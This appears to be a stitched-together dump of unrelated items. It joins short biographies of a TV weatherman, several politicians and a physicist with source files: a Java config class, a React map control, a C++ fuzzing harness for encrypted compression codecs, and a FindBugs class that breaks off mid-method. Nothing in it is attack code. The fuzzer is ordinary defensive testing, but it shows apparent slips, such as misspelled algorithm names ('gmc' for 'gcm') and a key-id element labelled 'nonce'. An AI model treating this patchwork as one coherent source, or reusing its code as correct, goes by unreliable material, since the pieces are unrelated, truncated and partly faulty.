Scott credited his success to his efforts to make everyone, his audience, his clients feel loved. Scott said "If you watch, you’ll see that I am trying to weave a web of love. I want to make the whole country feel as if we are one. I may be a cornball, but I am me — not a sophisticated, slick New York wazoo act." Early radio contemporary Johnny Holliday, said of Scott "Everybody he came in contact with just loved the guy. He just had that magic about him, that he made everybody feel special."
In Scott's autobiography The Joy of Living he summed his life, saying "If you were to look at my resume, you’d see that I’m ...bald, I’m overweight, I don’t make all the smooth moves and I dress like a slob. I take tremendous pride in the fact that I beat the system".
Early life and education
Scott was born on March 7, 1934, in Alexandria, Virginia, the only child of parents Willard Herman (1905 - 1977) and Mattie Thelma (née Phillips) Scott (1905 - 1977). Scott was raised as and remained a fundamentalist Christian who considered becoming a minister before starting his broadcasting career.
Childhood interest in broadcasting
Scott showed an early interest in broadcasting. Recounting his first experience visiting a radio station, he said "One day when I was eight, Mom took me to the movies in DC. Afterward, she wanted to shop, so I wandered over to my favorite radio station, WTOP. I introduced myself to the receptionist and told her I was a fan. She took me to the control room and said, 'You can sit here if you stay very quiet. That man will be broadcasting live'. The man was Eric Sevareid, then a correspondent for CBS. He’d just gotten back from Burma, where he’d been lost in the jungle for months. I sat there enthralled as Sevareid recounted his ordeal".
At the age of nine, Scott organized a group of 15 boys into a radio club on his neighborhood block. Scott built his own radio station in his family home's basement and sold ads he aired during his low power broadcasts. The club netted about $25 a month () in advertising revenue from neighborhood businesses. Scott said "...I set to work building a station in our basement. My parents bought me an oscillator, which enabled me to broadcast to 20 neighborhood homes within a 180 foot (54.9 m) radius. My friends and I read the news, played tunes on a phonograph, and chattered away. A few months after we started, three men from the FCC showed up. They told us our signal was reaching National Airport — Pan Am’s radios were picking up kids talking and playing records. So ended my basement station".
Spending time at local Alexandria radio station WPIK-AM on Friday nights as a teenager, a local disk jockey allowed him to create a radio show called “Lady Make Believe”. Scott also served as announcer for the show. Scott also held two part-time disk jockey jobs while in high school,
"High School Hit Parade" on WOL 1450 AM and "Dancing Party" on WCFM 99.5 FM.
NBC radio announcer at 16
Scott was 16 years old in 1950 when he worked as an NBC page at WRC (AM), NBC's owned-and-operated radio station in Washington, D.C., for $12 () per week. Scott explained how he started announcing at NBC – "I auditioned to be an announcer but was never hired. Then one of the announcers left for vacation and my boss said, “What the hell, let Scott fill in — it’s only two weeks.” When he returned, I became a regular substitute".
High school and college
Scott attended Alexandria, Virginia's George Washington High School. While a freshman in 1947, Scott broadcast a high school news report on a local FM radio station every Saturday. Scott graduated high school in 1951. He was elected Class President all four years of his attendance. Named "Our capable and popular class president", he was also voted "Most Likely to Succeed" by his classmates.
Scott attended American University, where he worked alongside fellow student Ed Walker at WAMU-AM, the university's radio station (1951–1953). Scott became a member of Alpha Sigma Phi fraternity while at American University and graduated in 1955 with a Bachelor of Arts degree in "philosophy and religion".
Broadcast radio career
Joy Boys radio show
From 1955 to 1972, Scott teamed with Ed Walker as co-host of the nightly Joy Boys radio program on NBC-owned WRC radio (this was interrupted from 1956 to 1958 when Scott served on active duty in the U.S. Navy). Scott routinely sketched a list of characters and a few lead lines setting up a situation, which Walker would commit to memory or make notes on with his Braille typewriter (Walker was blind since birth).
The show opened with Scott and Walker singing their Joy Boys opening theme song set to the music of John N. Klohr's The Billboard March. They recorded it in two versions, a duet between them, and Walker singing in four-part harmony with himself, for use as, respectively, the opening and closing themes for the show:
We are the Joy Boys of radio;
We chase electrons to and fro-o-o.
We are the Joy Boys of radio;
We chase electrons to and fro.
In a 1999 Washington Post article recalling the Joy Boys at the height of their mid-1960s popularity, said the Joy Boys "dominated Washington, providing entertainment, companionship, and community to a city on the verge of powerful change". The Joy Boys broadcast on WRC until the station changed to a rock music format in October, 1972. The Joy Boys show moved to WWDC-AM for another two years. Scott wrote in his book The Joy of Living, their close professional and personal bond continued until Walker's death in October 2015. Scott said they were "closer than most brothers".
After the Joy Boys show ended, Scott thrived as a Washington D.C. area personality, doing product pitches and popping up at ribbon-cutting ceremonies.
WAVY AM 1350 disk jockey while in the Navy
In 1956 Scott lived near Norfolk, Virginia while serving in the U.S. Navy and moonlighted at WAVY AM radio as one of four staff disk jockeys who presented the "WAVY Nifty Fifty, Tidewater's Top Tune Tally.". He was promoted on local advertising for the Tidewater area radio station.
Early broadcast television career
Children's programs a great preparation for television success
Scott felt his early work in children's programming was one reason for his success in engaging and entertaining television viewers. "I have always said that the best training to be a TV newsman or anybody on television is to do a children’s show because you are oblivious to the fact that there is a camera there. ...You are playing to the kids in the studio, and then you are playing directly to the kids at home. You look in the lens and you are never using a teleprompter ...and you get a tremendous, comfortable feeling in front of a camera doing a children’s show. There are no two ways about that: Doing a kid’s show is great training."
Barn Party
Scott's first children's television appearance was on WNBW TV's Barn Party in 1954. Scott said "My first chance to do kiddie shows professionally came before I was in the Navy, on a Saturday TV show called Barn Party. I was 'Farmer Willard' and I played opposite a very refined lady named Betsy Stelck, who had a fairyland aura about her..." The show was a hit. When children were asked to mail in requests for tickets to attend the weekly broadcast production, 6,223 requests were received. The studio only seated 50.
Afternoon
Scott was a "co-master of ceremonies" with Mac McGarry on this 1955 afternoon variety program broadcast on WRC-TV. The show featured live music, vocalists, fashion and food segments by Inga Rundvold and Jim Henson's puppet group Sam and Friends, an early incarnation of the Muppets. At the time, Henson was a college freshman. Scott remembered Henson's work as "... an innovative bunch of puppets created by a guy named Jim Henson. ... I worked with a bald-headed Muppet with a big nose, named Sam, sort of the way Fran Allison worked on Kukla, Fran and Ollie. Then there was the frog named Kermit. I used to do a commercial for a local peanut butter called Schindler's. He'd open his mouth, I'd give him a big spoonful, and he'd go 'ahh'".
Commander Retro
Scott said this 1966 children’s show he created and hosted was "The worst show I did in my life, in my opinion, was the best show I ever did in my life, we had more fun". Scott used Lester, his basset hound, as "Doctor Strangedog", a human German physicist and spy who had stowed away on the rocket ship. The spy had eaten too many hotdog sausages, exploded and turned into a talking dog. Scott played the commander of their traveling spaceship. The rocket ship set had control panels made of plastic mini-ice cube trays with blinking Christmas lights behind them. Scott said "This was a terrible show, a real turkey ...but it was more fun to do than any of them".
Bozo the Clown
Scott portrayed Bozo the Clown on WRC-TV's one-hour, weekday show Bozo's Circus. Scott said "WRC bought local rights to Bozo the Clown, and I was cast in the role. Bozo went to the White House and met JFK and Caroline. I played him from 1959 to 1962, doing a daily one-hour show". Washington, D.C., area McDonald's hired Scott – as Bozo – to attract customers. Whenever Scott as Bozo arrived at one of the then five D.C. area McDonald's, he caused traffic jams. Roads were shut down for two miles and extra police had to control thousands of kids as they arrived to see Bozo. WRC-TV canceled the show in 1962.
Created Ronald McDonald, the Hamburger-Happy Clown
Washington, D.C., McDonald's stores had enjoyed incredible customer attendance when Scott appeared as Bozo the Clown. When WRC-TV cancelled the show, Scott could no longer appear as that popular clown. The local McDonald's franchisees wanted another clown to drive sales and asked Scott to develop a new character. Scott said "At the time, Bozo was the hottest children's show on the air. You could probably have sent Pluto the Dog or Dumbo the Elephant over and it would have been equally as successful. But I was there, and I was Bozo... There was something about the combination of hamburgers and Bozo that was irresistible to kids... That's why when Bozo went off the air a few years later, the local McDonald's people asked me to come up with a new character to take Bozo's place. So, I sat down and created Ronald McDonald".
Scott's Ronald McDonald costume included a small paper cup over his nose, a cardboard food tray worn as a hat and a cardboard food tray containing a complete McDonald's meal - a wrapped hamburger, paper bag of fries and a drink, worn just above the front of his pants that “magically” replaced the hamburger every time one disappeared. Scott portrayed Ronald McDonald from 1963 through 1967, appearing in three television commercials and narrating a 45 rpm recording of "The Night Before Christmas" as part of a 1963 holiday promotion. The record has become a sought-after collectible.
McDonald's corporation purchased the Washington, D.C., franchise back from the area franchisees and became the owner of the Ronald McDonald intellectual property. Scott was told he would continue to portray the clown but just before he was to appear at the 1966 Macy’s Thanksgiving Day Parade, Scott was replaced by a new clown actor, Coco, who had been a clown in the Ringling Brothers circus.
In his book Fast Food Nation, Eric Schlosser claims that McDonald's replaced Scott on account of his weight, supposedly concerned about McDonald's image. Scott denied the claims and cited other commitments he had at the time.
The Ronald Show
Scott continued to appear as Ronald McDonald in the Washington, D.C., broadcast market. In 1966, Scott served as master of ceremonies WRC-TV's new program, The Ronald Show. The show had a studio audience of 30 youngsters every Saturday who played games, performed dramatic skits and interacted with Scott as clown Ronald. Scott said the show was "One of those magnificent rare treasures ... featuring dramatizations and dance contests."
Weather presenter career
Scott's weathercaster career started when he was chosen as a fill-in weatherman on WRC-TV in 1967. The incumbent had suddenly walked off the job. In 1970, Scott became WRC-TV's full-time weekday weatherman. In March 1980, the NBC network came calling, and Scott was named weatherman on TODAY, replacing Bob Ryan. Ryan then took Scott's old job, becoming the meteorologist at WRC-TV.
The Today Show
Scott was tapped by NBC in 1980 to become its weatherman for The Today Show. At the time, the Today Show was in its first ratings battle with ABC's Good Morning America. Scott quickly established his ability to connect with his audience. Often appearing as different characters in his segments, he once delivered the weather as pop singer Boy George. His antics on Today helped move the show's ratings back to first place, where it remained for much of the decade.
During the 1980s, Scott routinely did weather reports on the road, interviewing locals at community festivals and landmarks. He also periodically performed on the program from Washington, D.C., which he still considered his home.
Appearance as Carmen Miranda
Scott said he used to dress up like Carmen Miranda as a kid to sell war bonds in World War II. He promised to don a Miranda outfit again if a viewer would donate $1,000 to the USO. The donation was made and Scott gave his August 22, 1983, weather forecast on the Today Show dressed in drag, wearing a bright red tropical dress, earrings and pearls, heels, and a showy, multi-colored headdress with feathers and fruit, reminiscent of the late Brazilian entertainer's outfits. Scott's weather forecast was accompanied by two flamenco musicians.
Discussing his Carmen Miranda appearance in 1987, Scott told the New York Times "People said I was a buffoon to do it. Well, all my life I've been a buffoon. That's my act." He explained his love for his audience, saying "I just love people. A lot of speakers on the talk circuit leave right afterward. I do a lot of schmoozing. I'm like a dog. You just open the door and I go, 'rrrr, rrrr,' and then I lick everybody's face."
Smucker's birthday segments
Scott started celebrating centenarians' happy birthdays on “Today” in 1983. "Saluting people on their 100th birthday started when I got a card that read, 'My uncle is turning 100. Could you mention him on TV?' I did it and about a week later got two cards, then four, then six." Eventually Smucker's sponsored the segment, showing each person’s photo and name on a Smucker's strawberry jelly jar label. When Scott died, Smucker’s posted a tribute to him, putting his face on the jelly jar label graphic.
Bryant Gumbel criticism and ratings repercussions
In 1989, The Today Show co-host Bryant Gumbel wrote an internal memo critical of the show's personalities, a memo that was later leaked to the media. In the memo, Gumbel said Scott "holds the show hostage to his assortment of whims, wishes, birthdays and bad taste ...this guy is killing us and no one's even trying to rein him in." This garnered enough of a backlash that the next time they appeared on camera together Scott kissed Gumbel on the cheek to show he'd forgiven him, and also later said he hoped the whole thing would go away.
After Gumbel's comments, there was a decline in viewership ratings for the Today Show. According to NBC, the Q Score popularity tracking poll taken by Marketing Evaluations Inc. showed an increase in negative reaction to Gumbel and his earlier criticism of Scott in its annual May 1989 survey of the show. The then Today Show executive producer Tom Capra said "The publicity and the negative factors have hurt us". CBS network research also indicated continuing negative reaction to Gumbel's comments regarding Scott.
Today Show staff support
After Scott's Carmen Miranda appearance, Tom Brokaw, former Today Show anchor said of Scott, "Willard was a born showman". Al Roker, the meteorologist who succeeded Scott on the Today Show said "No broadcaster was loved by so many and brought so many smiles".
Commercial pitchman
In 1992, Scott, who was the first incarnation of Ronald McDonald, recorded a commercial for McDonald's arch-rival Burger King. He also was the spokesman for the Days Inn hotel chain, appearing in their commercials from 1993 until 1997.
The companies Scott endorsed include: Howard Johnson Motor Lodges, True Value Hardware, Burger King, Lipton tea, Maxwell House coffee, the American Dairy Association, the Florida Citrus Commission, Diet Coke, USA Today and many others.
Later broadcast television career
Williard Scott's Home and Garden Almanac
In 1995, Scott was the host of one of the first weekly series on the then new cable TV channel Home & Garden Television. The series ran two years.
Actor
Scott made occasional guest appearances as neighbor "Mr. Poole" on The Hogan Family, where his character was married to Mrs. Poole, played by Edie McClurg.
Voice-over and narration career
NASA
Scott worked as the narrator for NASA's weekly program called "The Space Story", with his contributions spanning from the Apollo Program to the Space Shuttle.
Other TV work
Personal appearances / TV Commentator career
Scott was the host of WAVE TV's broadcast coverage of the Kentucky Derby Festival Pegasus Parade in Louisville, Kentucky, from 1982 through 2005. Scott also hosted the NBC telecast of the Macy's Thanksgiving Day Parade from 1987 to 1997. He was replaced by Matt Lauer in 1998.
For several years in the 1980s, Scott donned a Santa Claus costume for the broadcast of the National Tree-Lighting Ceremony in Washington, D.C.
In 1990 and 1992, Scott also hosted the Pillsbury Bake-Off on CBS (while under contract with CBS' rival NBC).
Military service
Scott enlisted in the U.S. Navy, serving from 1956 to 1958 as a seaman. Then 22 years old, Scott recorded his feelings on November 23, 1956, the day before he enlisted.
Retirement
Scott went into semi-retirement in early 1996, succeeded by Al Roker who moved from D.C. station WTTG. Scott had helped Roker earn the weather job at the NBC's WKYC in Cleveland.
Scott continued to appear two days a week on the morning program to wish centenarians a happy birthday (a tradition that continues to the present day). He appeared from the studio lot of WBBH, the NBC affiliate in Fort Myers, Florida.
Scott also continued to substitute for Roker for over a decade afterward, an arrangement that mostly ended after NBC acquired The Weather Channel in 2008 and started using that channel's meteorologists as substitutes.
Scott announced his full retirement from television on December 11, 2015. On Scott's final day, Today held a tribute to Scott featuring taped highlights from his many years with the show. The plaza outside Rockefeller Center was renamed Willard Scott Way in his honor. Several former Today staff came to bid farewell to Scott including Tom Brokaw, Jane Pauley, Katie Couric, and Gene Shalit along with Barbara Bush. After Scott was feted on the "Today Show" with cupcakes and comments from co-anchors, he said "I'm fading off into the sunset" and started singing Dale Evans's song "Happy trails to you until we meet again. Happy trails to you. Keep smilin' on 'til then."
Awards
Radio reissues and Santa Claus
In 2001, American University reissued some of the old Joy Boys radio broadcasts of the 1960s on CDs. He also played Santa Claus at various White House events.
Writings
Scott published several fiction and non-fiction books:
The Joy of Living
Down Home Stories
Willard Scott’s All-American Cookbook
America Is My Neighborhood
The Older the Fiddle, the Better the Tune
If I Knew It Was Going to Be This Much Fun, I Would Have Become a Grandparent First
He also co-authored two books with Bill Crider:
Murder Under Blue Skies
Murder in the Mist
He preached a sermon at the 185th anniversary of his home church, First Baptist Church in Alexandria, Virginia, that was published in Best Sermons 2, edited by James W. Cox [Harper & Row, 1989].
Personal life
Scott was married to Mary Dwyer Scott from 1959 until her death in 2002. The couple had two children, Mary and Sally. On April 1, 2014, at age 80, Scott married Paris Keena, whom he first met in 1977 while she was working at WRC-TV in Washington, D.C. They had been together as a couple since 2003. They lived on Sanibel Island, Florida.
Death
Scott died of natural causes on September 4, 2021, at the age of 87.
Filmography
As himself
Pillsbury Bake-Off (1990–1992) – Host
Walt Disney World 4 July Spectacular (1988) – Himself
The New Hollywood Squares (1987) – Himself
Kentucky Derby Festival Pegasus Parade (1982-2005) - host
Macy's Thanksgiving Day Parade (1987–1997) – Host
The Bob Braun Show (1982) – Himself
Today (1980–2015) – Himself
As actor
Bozo the Clown (1959–1962) – Bozo the Clown
Ronald McDonald (1963–1965)
The Hogan Family (1987–1989) – Peter Poole
References
External links
1934 births
2021 deaths
20th-century Baptists
21st-century American comedians
21st-century Baptists
American male comedians
American male television actors
American television personalities
American University alumni
Baptists from Virginia
Male actors from Alexandria, Virginia
McDonald's people
Military personnel from Virginia
NBC News people
Radio personalities from Washington, D.C.
United States Navy sailors
Weather presenters |
```java
/*
*
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
*
* path_to_url
*
* Unless required by applicable law or agreed to in writing, software
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*/
package com.dianping.zebra.group.config.datasource.entity;
import com.dianping.zebra.exception.ZebraException;
import com.dianping.zebra.util.StringUtils;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlRootElement;
@XmlRootElement(name = "singleConfig")
@XmlAccessorType(XmlAccessType.FIELD)
public class SingleConfig {
private String name;
private int writeWeight = -1;
private int readWeight = -1;
public SingleConfig() {
}
public SingleConfig(String name, int writeWeight, int readWeight) {
this.name = name;
this.writeWeight = writeWeight;
this.readWeight = readWeight;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getWriteWeight() {
return writeWeight;
}
public void setWriteWeight(int writeWeight) {
this.writeWeight = writeWeight;
}
public int getReadWeight() {
return readWeight;
}
public void setReadWeight(int readWeight) {
this.readWeight = readWeight;
}
public void checkConfig() {
if(StringUtils.isBlank(this.name)) {
throw new ZebraException("incomplete singleDataSourceConfig name:" + this.name);
}
}
}
``` |
Haniifa Mohamed Ibrahim (born 25 June 1991) is a Somalian Minister of Women and Human Rights Development.
Life
She was born in 1991 and she became a member of Somalia's parliament.
In 2017 she was part of the 17 strong group of politicians drawn from Somalia's lower and upper houses of parliament whose task was to choose Somalia's president. She became the Minister of Women and Human Rights Development under Prime Minister Abdihakin Ashkir in Somalia.
In 2021 she opened a centre in Mogadishu to support women. This was in support of the target to get 30% women in politics. In discussion with UN envoy James C. Swan she raised the issue of United Nations support for the 30% target in 2021.
References
1991 births
Living people
Somalian politicians |
Denis Archie Ducharme (born March 14, 1955, in Bonnyville, Alberta, Canada) is a former Albertan MLA. From April 6 until December 15, 2006, he also served as Minister of Community Development. He did not seek re-election in the 2008 election.
Political career
In 1986, Ducharme was elected to the Lakeland Catholic School Board. During his two terms with the board he served as a trustee, vice-chairman, and chairman.
He was first elected as a Member of the Legislative Assembly on March 11, 1997, defeating Liberal incumbent Leo Vasseur in the new riding of Bonnyville-Cold Lake. He was re-elected to his second term on March 12, 2001, and to his third term on November 22, 2004. In addition to his duties as MLA, Ducharme has served as Government Caucus Whip, Chair of the Francophone Secretariat, co-chair of the Alberta Energy Research Institute (AERI), Deputy Chairman of the Special Standing committee on Members’ Services, and Deputy Chairman of the Standing Committee on Legislative Offices.
During his time in the Alberta Legislature, Ducharme sponsored four bills: Fair Trading Act; Maintenance Enforcement Amendment Act; Metis Settlements Statutes Amendment Act; and Fair Trading Amendment Act, 2000.
Personal life
Prior to being elected, he was involved with his family-owned Ford automotive dealership, Ducharme Motors Ltd., which has been operating in Bonnyville since 1959. He was involved in all aspects of dealership management and held a business interest in the operation from 1981 to 1994.
Ducharme and his wife, Rose, currently live in Bonnyville and have two adult children.
Ducharme is also one of the notable Franco-Albertans, in part due to the Bonnyville-Cold Lake area having a very large Francophone population in comparison to the rest of the province.
Election results
|}
|}
References
External links
Denis Ducharme is made Minister of Community Development
People from the Municipal District of Bonnyville No. 87
Franco-Albertan people
1955 births
Living people
Progressive Conservative Association of Alberta MLAs
Members of the Executive Council of Alberta
21st-century Canadian politicians |
```jsx
import L from 'leaflet';
import ReactDOM from 'ReactDOM';
import React from 'React';
import PropTypes from 'prop-types';
import './Contours.scss';
import ContoursPanel from './ContoursPanel';
class ContoursButton extends React.Component {
static propTypes = {
tasks: PropTypes.object.isRequired,
map: PropTypes.object.isRequired
}
constructor(props){
super(props);
this.state = {
showPanel: false
};
}
handleOpen = () => {
this.setState({showPanel: true});
}
handleClose = () => {
this.setState({showPanel: false});
}
render(){
const { showPanel } = this.state;
return (<div className={showPanel ? "open" : ""}>
<a href="javascript:void(0);"
onClick={this.handleOpen}
className="leaflet-control-contours-button leaflet-bar-part theme-secondary"></a>
<ContoursPanel map={this.props.map} isShowed={showPanel} tasks={this.props.tasks} onClose={this.handleClose} />
</div>);
}
}
export default L.Control.extend({
options: {
position: 'topright'
},
onAdd: function (map) {
var container = L.DomUtil.create('div', 'leaflet-control-contours leaflet-bar leaflet-control');
L.DomEvent.disableClickPropagation(container);
ReactDOM.render(<ContoursButton map={this.options.map} tasks={this.options.tasks} />, container);
return container;
}
});
``` |
```c++
#include <cstddef>
#include <cstdint>
#include <memory>
#include <string>
#include <Compression/ICompressionCodec.h>
#include <Compression/CompressionCodecEncrypted.h>
#include <IO/BufferWithOwnMemory.h>
#include <Poco/DOM/AutoPtr.h>
#include <Poco/DOM/Document.h>
#include <Poco/DOM/Element.h>
#include <Poco/DOM/Text.h>
#include <Poco/NumericString.h>
#include <Poco/Util/AbstractConfiguration.h>
#include <Poco/Util/XMLConfiguration.h>
#include "Common/Exception.h"
inline DB::CompressionCodecPtr getCompressionCodecEncrypted(DB::EncryptionMethod Method)
{
return std::make_shared<DB::CompressionCodecEncrypted>(Method);
}
namespace
{
using namespace Poco;
using namespace Poco::XML;
/*
Fuzzing data consists of:
first byte:
1) length of nonce is in data (for correct work with wrong data from user)
2) length of key is in data (for correct work with wrong data from user)
3) is 128 turn on
4) multiple keys for 128
5) is 256 turn on
6) multiple keys for 256
7) nonce is set
8) current_key is set
read_key() will cosist of following steps:
if (2):
read 4 byte to know size
if multiple_keys:
read id
else:
size is chosen correctly according to algorithm
read size_bytes as a key
next bytes will have information in this order:
if (3):
if (4):
read count
for i in range(count):
read_key()
else:
read_key()
if (7):
read_nonce (similar to read_key)
if (8):
set current_key
same for AES_256_GCM_SIV with (5) and (6) instead of (3) and (4)
This class read data and generate xml documentation.
*/
class XMLGenerator
{
public:
XMLGenerator(const uint8_t * data, size_t& size);
/// Try to generate config from input data using algorithm, which is described before class declaration
void generate();
/// Size of part, which was used on generating config
size_t keySize() const;
/// Get config
const Poco::AutoPtr<Poco::Util::XMLConfiguration>& getResult() const;
/// If something happened in generator, it will be true
bool hasError() const;
private:
/// generate algorithm section with key and nonce
bool generateAlgorithmKeys(AutoPtr<Poco::XML::Element>& document_root, std::string name,
uint8_t mask_for_algo, uint8_t mask_for_multiple_keys);
/// move on count bytes stream and increase counter
/// returns false if some errors occuried
bool next(ssize_t count=1);
/// Create a key from data
ssize_t generateKey(std::string name, bool multiple=false);
const uint8_t * data;
size_t start_size;
size_t keys_size;
AutoPtr<Poco::XML::Document> xml_document;
AutoPtr<Poco::XML::Element> algo;
AutoPtr<Poco::Util::XMLConfiguration> conf;
uint8_t first_byte;
bool error;
};
XMLGenerator::XMLGenerator(const uint8_t * Data, size_t& Size): data(Data), start_size(Size),
conf(new Poco::Util::XMLConfiguration()), error(false) {}
size_t XMLGenerator::keySize() const { return keys_size; }
const Poco::AutoPtr<Poco::Util::XMLConfiguration>& XMLGenerator::getResult() const { return conf; }
bool XMLGenerator::hasError() const { return error; }
bool XMLGenerator::next(ssize_t count)
{
/// If negative step - something went wrong
if (count == -1)
{
error = true;
return false;
}
/// move data and increase counter
keys_size += count;
/// If get after eof
if (keys_size >= start_size)
{
error = true;
return false;
}
data += count;
return true;
}
/*
<Key>key</key>
or
<key id=..>key</key>
*/
ssize_t XMLGenerator::generateKey(std::string name, bool multiple)
{
/// set traditional key size for algorithms
uint64_t size = 0;
if (name == "aes_128_gcm_siv")
size = 16;
if (name == "aes_256_gcm_siv")
size = 32;
/// try to read size from data
if (first_byte & 0x40)
{
size = *(reinterpret_cast<const uint64_t*>(data));
if (!next(8))
return -1;
}
/// if it is not defined, leave
if (!size)
return -1;
AutoPtr<Poco::XML::Element> key_holder;
if (multiple)
{
/// multiple keys have ids.
uint64_t id = *(reinterpret_cast<const uint64_t*>(data));
if (!next(8))
return -1;
key_holder = xml_document->createElement("key[id=" + std::to_string(id) + "]");
}
else
{
key_holder = xml_document->createElement("key");
}
AutoPtr<Text> key(xml_document->createTextNode(std::string(data, data + size)));
key_holder->appendChild(key);
algo->appendChild(key_holder);
if (!next(size))
return -1;
return size;
}
bool XMLGenerator::generateAlgorithmKeys(
AutoPtr<Poco::XML::Element>& document_root, std::string name, uint8_t mask_for_algo, uint8_t mask_for_multiple_keys)
{
/// check if algorithm is enabled, then add multiple keys or single key
if (first_byte & mask_for_algo)
{
algo = xml_document->createElement(name);
document_root->appendChild(algo);
if (first_byte & mask_for_multiple_keys)
{
uint64_t count = *(reinterpret_cast<const uint64_t*>(data));
if (!next(8))
return false;
for (size_t i = 0; i < count; ++i)
{
if (!next(generateKey(name)))
return false;
}
}
else
{
if (!next(generateKey(name)))
return false;
}
}
/// add nonce
if (first_byte & 0x02)
{
uint64_t nonce_size = 12;
if (first_byte & 0x80)
{
nonce_size = *(reinterpret_cast<const uint64_t*>(data));
if (!next(8))
return false;
}
AutoPtr<Poco::XML::Element> nonce_holder(xml_document->createElement("nonce"));
AutoPtr<Text> nonce(xml_document->createTextNode(std::string(data, data + nonce_size)));
nonce_holder->appendChild(nonce);
algo->appendChild(nonce_holder);
}
/// add current key id
if (first_byte & 0x01)
{
uint64_t current_key = *(reinterpret_cast<const uint64_t*>(data));
if (!next(8))
return false;
AutoPtr<Poco::XML::Element> cur_key_holder(xml_document->createElement("nonce"));
AutoPtr<Text> cur_key(xml_document->createTextNode(std::to_string(current_key)));
cur_key_holder->appendChild(cur_key);
algo->appendChild(cur_key_holder);
}
return true;
}
void XMLGenerator::generate()
{
AutoPtr<Poco::XML::Element> document_root(xml_document->createElement("encryption_codecs"));
xml_document->appendChild(document_root);
/// read first byte for parsing
first_byte = *data;
if (!next())
return;
if (!generateAlgorithmKeys(document_root, "aes_128_gmc_siv", 0x20, 0x10))
return;
if (!generateAlgorithmKeys(document_root, "aes_256_gmc_siv", 0x08, 0x04))
return;
conf->load(xml_document);
}
}
extern "C" int LLVMFuzzerTestOneInput(const uint8_t * data, size_t size)
{
try
{
XMLGenerator generator(data, size);
generator.generate();
if (generator.hasError())
return 0;
auto config = generator.getResult();
auto codec_128 = getCompressionCodecEncrypted(DB::AES_128_GCM_SIV);
auto codec_256 = getCompressionCodecEncrypted(DB::AES_256_GCM_SIV);
DB::CompressionCodecEncrypted::Configuration::instance().tryLoad(*config, "");
size_t data_size = size - generator.keySize();
std::string input = std::string(reinterpret_cast<const char*>(data), data_size);
fmt::print(stderr, "Using input {} of size {}, output size is {}. \n", input, data_size, input.size() - 31);
DB::Memory<> memory;
memory.resize(input.size() + codec_128->getAdditionalSizeAtTheEndOfBuffer());
codec_128->doDecompressData(input.data(), static_cast<UInt32>(input.size()), memory.data(), static_cast<UInt32>(input.size()) - 31);
memory.resize(input.size() + codec_128->getAdditionalSizeAtTheEndOfBuffer());
codec_256->doDecompressData(input.data(), static_cast<UInt32>(input.size()), memory.data(), static_cast<UInt32>(input.size()) - 31);
}
catch (...)
{
}
return 0;
}
``` |
David Halliday (March 3, 1916 – April 2, 2010) was an American physicist known for his physics textbooks, Physics and Fundamentals of Physics, which he wrote with Robert Resnick. Both textbooks have been in continuous use since 1960 and are available in more than 47 languages.
Halliday attended the University of Pittsburgh both as an undergraduate student and a graduate student, receiving his Ph.D. in physics in 1941. During World War II, he worked at the MIT Radiation Lab developing radar techniques. In 1946 he returned to Pittsburgh as an assistant professor and spent the rest of his career there. In 1950, he wrote Introductory Nuclear Physics, which became a classic text and was translated into four languages. In 1951 Halliday became the Department Chair, a position he held until 1962.
His Physics has been used widely and is considered by many to have revolutionized physics education. Now in its tenth edition in a two-volume set revised by Jearl Walker, and under the title Fundamentals of Physics, it is still highly regarded. It is noted for its clear standardized diagrams, very thorough but highly readable pedagogy, outlook into modern physics, and challenging, thought provoking problems. In 2002 the American Physical Society named the work the most outstanding introductory physics text of the 20th century.
Halliday died at the age of 94 on April 2, 2010. He was living in Maple Falls, Washington. His doctoral students include John Wheatley.
References
University of Pittsburgh biography
American physicists
American textbook writers
American male non-fiction writers
University of Pittsburgh alumni
University of Pittsburgh faculty
1916 births
2010 deaths
Manhattan Project people |
Ahmed Ramadan Dumbuya is a former Sierra Leonean politician. Dumbuya served as foreign minister twice; for a brief time in 1992 and from 2001 to 2002. He is a member of the Susu ethnic group.
References
Living people
Sierra Leonean Muslims
Year of birth missing (living people)
Foreign Ministers of Sierra Leone
Sierra Leonean diplomats
Susu people |
```java
/*
* FindBugs - Find Bugs in Java programs
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
*
* You should have received a copy of the GNU Lesser General Public
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
package edu.umd.cs.findbugs.workflow;
import java.io.FileOutputStream;
import java.io.PrintStream;
import java.util.HashMap;
import java.util.Map;
import java.util.TreeMap;
import edu.umd.cs.findbugs.BugCollection;
import edu.umd.cs.findbugs.BugInstance;
import edu.umd.cs.findbugs.DetectorFactoryCollection;
import edu.umd.cs.findbugs.SortedBugCollection;
import edu.umd.cs.findbugs.charsets.UTF8;
import edu.umd.cs.findbugs.config.CommandLine;
/**
* @author William Pugh
*/
public class Churn {
BugCollection bugCollection;
int fixRate = -1;
public Churn() {
}
public Churn(BugCollection bugCollection) {
this.bugCollection = bugCollection;
}
public void setBugCollection(BugCollection bugCollection) {
this.bugCollection = bugCollection;
}
String getKey(BugInstance b) {
String result = b.getCategoryAbbrev();
if ("C".equals(result) || "N".equals(result)) {
return result;
}
return "O";
// return b.getPriorityAbbreviation() + "-" + b.getType();
}
static class Data {
int persist, fixed;
int maxRemovedAtOnce() {
int count = 0;
for (int c : lastCount.values()) {
if (count < c) {
count = c;
}
}
return count;
}
Map<Long, Integer> lastCount = new HashMap<>();
void update(BugInstance bug) {
if (bug.isDead()) {
fixed++;
} else {
persist++;
}
final long lastVersion = bug.getLastVersion();
if (lastVersion != -1) {
Integer v = lastCount.get(lastVersion);
if (v == null) {
lastCount.put(lastVersion, 0);
} else {
lastCount.put(lastVersion, v + 1);
}
}
}
}
Map<String, Data> data = new TreeMap<>();
Data all = new Data();
int[] aliveAt;
int[] diedAfter;
public Churn execute() {
data.put("all", all);
aliveAt = new int[(int) bugCollection.getSequenceNumber() + 1];
diedAfter = new int[(int) bugCollection.getSequenceNumber() + 1];
for (BugInstance bugInstance : bugCollection) {
String key = getKey(bugInstance);
Data d = data.get(key);
if (d == null) {
data.put(key, d = new Data());
}
d.update(bugInstance);
all.update(bugInstance);
